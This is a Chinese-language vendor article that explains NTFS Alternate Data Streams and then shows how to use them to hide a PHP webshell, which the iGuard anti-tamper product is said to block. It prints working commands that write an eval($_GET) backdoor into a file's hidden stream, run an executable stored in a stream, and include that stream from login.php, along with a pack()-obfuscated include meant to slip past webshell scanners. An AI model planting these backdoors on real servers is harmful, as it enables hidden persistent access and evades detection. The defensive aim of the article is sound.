許可權維持是一門龐大的學問,當攻擊者在入侵伺服器獲得主機許可權後,往往會想盡辦法隱藏其入侵途徑以維持許可權。許可權維持的一般手段包括構造檔案包含漏洞、構造遠端任意程式碼執行漏洞、構造SQL注入點、利用系統自啟動後門和隱藏 Webshell等。本文介紹如何利用ADS資料流隱藏Webshell,以及如何利用iGuard防禦ADS。
一、NTFS檔案系統 & ADS特性
1. NTFS/ADS 是什麼?
NTFS(New Technology File System) 是微軟公司開發的檔案系統。自Windows NT 3.1開始,NTFS就是Windows NT系列作業系統的預設檔案格式。Linux和BSD環境下也有免費和開源版的NTFS驅動——NTFS-3G。和老的FAT檔案系統相比,其提供了對元資料(metadata)和高階資料的更多支援,在效能、可靠性和磁碟使用上也多有改進。在安全擴充套件方面,它對ACL名單和檔案系統日誌擴充套件支援也更全面。
NTFS引入了一個檔案流的概念,即 ADS(Alternate Data Stream) 。儘管在未來的檔案系統中可能不被支援,但在Windows NT系列未來版本的NTFS系統中,ADS將會繼續得到支援。該機制最常見的使用場景是當微軟Internet Explorer瀏覽器在下載一些對安全有隱患的敏感檔案時,會自動給這些檔案加上一個「Zone.Identifier」的ADS流,在裡面記錄該檔案的下載來源。後續在系統執行這些檔案時,如果發現有這個「Zone.Identifier」ADS流標記,就會詢問使用者,這是一個有安全隱患的檔案,是否確認要執行。使用者確認後,作業系統會徹底清除該檔案的「Zone.Identifier」ADS流,後續不再出現警告提示。後來,其他瀏覽器也跟進了該特性。如下截圖裡,就顯示了一個下載檔案的ADS流標記,可以看出其下載來源:
而預設使用Windows資源管理器瀏覽檔案時,並不會顯示檔案的ADS流資訊和大小。使用某些命令列工具或Powershell,配合特定的引數,能看到相關的資訊(詳見下文)。微軟的Sysinternal工具套裝裡,提供了一款名為"Streams"的工具,專門用於檢視和刪除 ADS 流資訊。
下載地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/streams
由於ADS流具有這種比較隱晦的特性,惡意軟體和網頁木馬便盯上這一機制,並用這個機制隱藏惡意程式碼,逃避檢測。
2. ADS 怎麼用?
Windows NT Resource Kit文件中描述的ADS語法如下:
filename:stream
可以把ADS流理解為檔案的一個額外屬性,這個屬性的名稱就是上述定義裡冒號後stream的部分,該名稱可以自由選擇。同時,一個檔案可以對應多個不同名的ADS流屬性,只要冒號後面的名稱不一樣。不同名稱的ADS流擁有自己獨立的內容。
如向一個網頁檔案(index.php)寫入名為「th000.jpg」的ADS流(寫入的內容實際上是PHP一句話木馬):
echo ^<?php eval($_GET['test']); ?^> >index.php:th000.jpg
用 more
命令列檢視index.php檔案的「th000.jpg」ADS流(小提示:用 type
命令無法檢視ADS流):
// 檢視隱藏檔案內容
more < index.php:th000.jpg
以上兩條命令的執行結果見截圖:
也可以用記事本程式,像開啟普通檔案一樣,輸入完整 filename:stream
路徑,檢視具體內容:
notepad index.php:th000.jpg
甚至,我們可以向一個目錄設定額外的ADS流屬性。如執行以下命令,可對當前目錄新增一個名為「hidden.txt」的ADS流。
echo test> :hidden.txt
用 dir/R
引數,除了普通檔案,也會列出檔案的ADS流。如下 dir/R
命令的執行結果能看出來,部分檔案如「nginx.conf」有不止一個ADS流:
二、如何利用ADS特性隱藏惡意檔案
在利用ADS流隱藏惡意檔案上,比較常見的兩個方向是針對二進位制檔案和網頁檔案。
如對二進位制檔案,可以把一個可執行檔案的內容,附加到另一個可執行檔案上,執行時則以ADS引用的方式執行,獲得隱藏檔案的執行許可權。如以下示例:
C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe
C:\> start c:\windows\system32\calc.exe:notepad.exe
在Web方面,早期的IIS有利用ADS屬性,獲得asp原始碼的漏洞。但這個漏洞比較古早,現在不太常見。另一種方式是,把網頁木馬的內容,附加到一個正常網頁的ADS屬性裡,如:
type webshell.php > index.php:th000.jpg
然後在另一個常規的php檔案裡,如 login.php
里加入如下程式碼,把上述的ADS內容包含到常規php頁面內,利用php include()
getshell:
<!--
當前網頁是`login.php`,在服務端沒有深度 Webshell查殺工具時可以直接包含ADS內容:
-->
<?php
include('index.php:th000.jpg');
?>
這樣在訪問http://域名/login.php
時,實際上潛藏在 index.php:th000.jpg
裡的網頁木馬就獲得了執行。
當然,這個方式也略有缺陷,如果網站上有深度Webshell查殺工具,有可能被發現。這時候可以把附加到ADS部分的程式碼寫得更有迷惑性,以繞過檢測,舉例如下:
<!--
利用pack()函式隱藏檔名
可繞過部分檢測工具
-->
<?php
$token = "3a74683030" . "302e6a7067";
$index = pack('C*' ,105 ,110 ,100 ,101 ,120 ,46 ,112 ,104 ,112);
$usr_id = $index . pack('H*' ,$token);
$welcome_page = 'usr_id';
include($$welcome_page);
?>
三、防禦ADS資料流隱藏Webshell的手法
無論攻擊者如何利用ADS隱藏shell,最終都離不開寫入資料這一過程,利用網頁防篡改系統可以有效地針對這一攻擊手法。網頁防篡改軟體是用於保護伺服器關鍵檔案不受黑客篡改(阻止或自動恢復)的一種軟體。使用iGuard網頁防篡改系統,可以有效地阻止黑客使用ADS資料流隱藏Webshell。
這裡以nginx+php為示例,想要阻止ADS寫入資料其實很簡單,正常使用iGuard中的iLocker模組保護檔案目錄即可。
- 命令列執行
start nginx
啟動伺服器 - 命令列執行
tasklist/v|findstr nginx
(可觀察到此時nginx的啟動使用者為Administrator,這並不是一個安全的啟動方式。)
nginx.exe 3692 Console 1 4,836 K Unknown WIN-JMACK3FAL1V\Administrator 0:00:00 暫缺
nginx.exe 1108 Console 1 5,088 K Unknown WIN-JMACK3FAL1V\Administrator 0:00:00 暫缺
- 控制面板新建非管理員使用者nginx後,嘗試使用使用者
nginx
啟動nginx服務。
//runas 是windows系統自帶能以其他使用者執行程式的命令
//runas [option] /user:domain\username program
runas /noprofile /user:WIN-JMACK3FAL1V\nginx cmd
cd dir/nginx_dir
start nginx
tasklist /v |findstr nginx
此時可觀察到nginx程序以使用者 nginx
啟動:
- 使用iLocker模組限制使用者
nginx
的行為,由於使用的是一個特殊的賬戶,甚至可以限制該賬戶對全盤檔案的修改許可權,但須注意保留相關日誌的寫入許可權。
- 此時使用者
nginx
無法通過ADS資料流將資料寫入受保護的目錄。
(席文 | 天存資訊)
Ref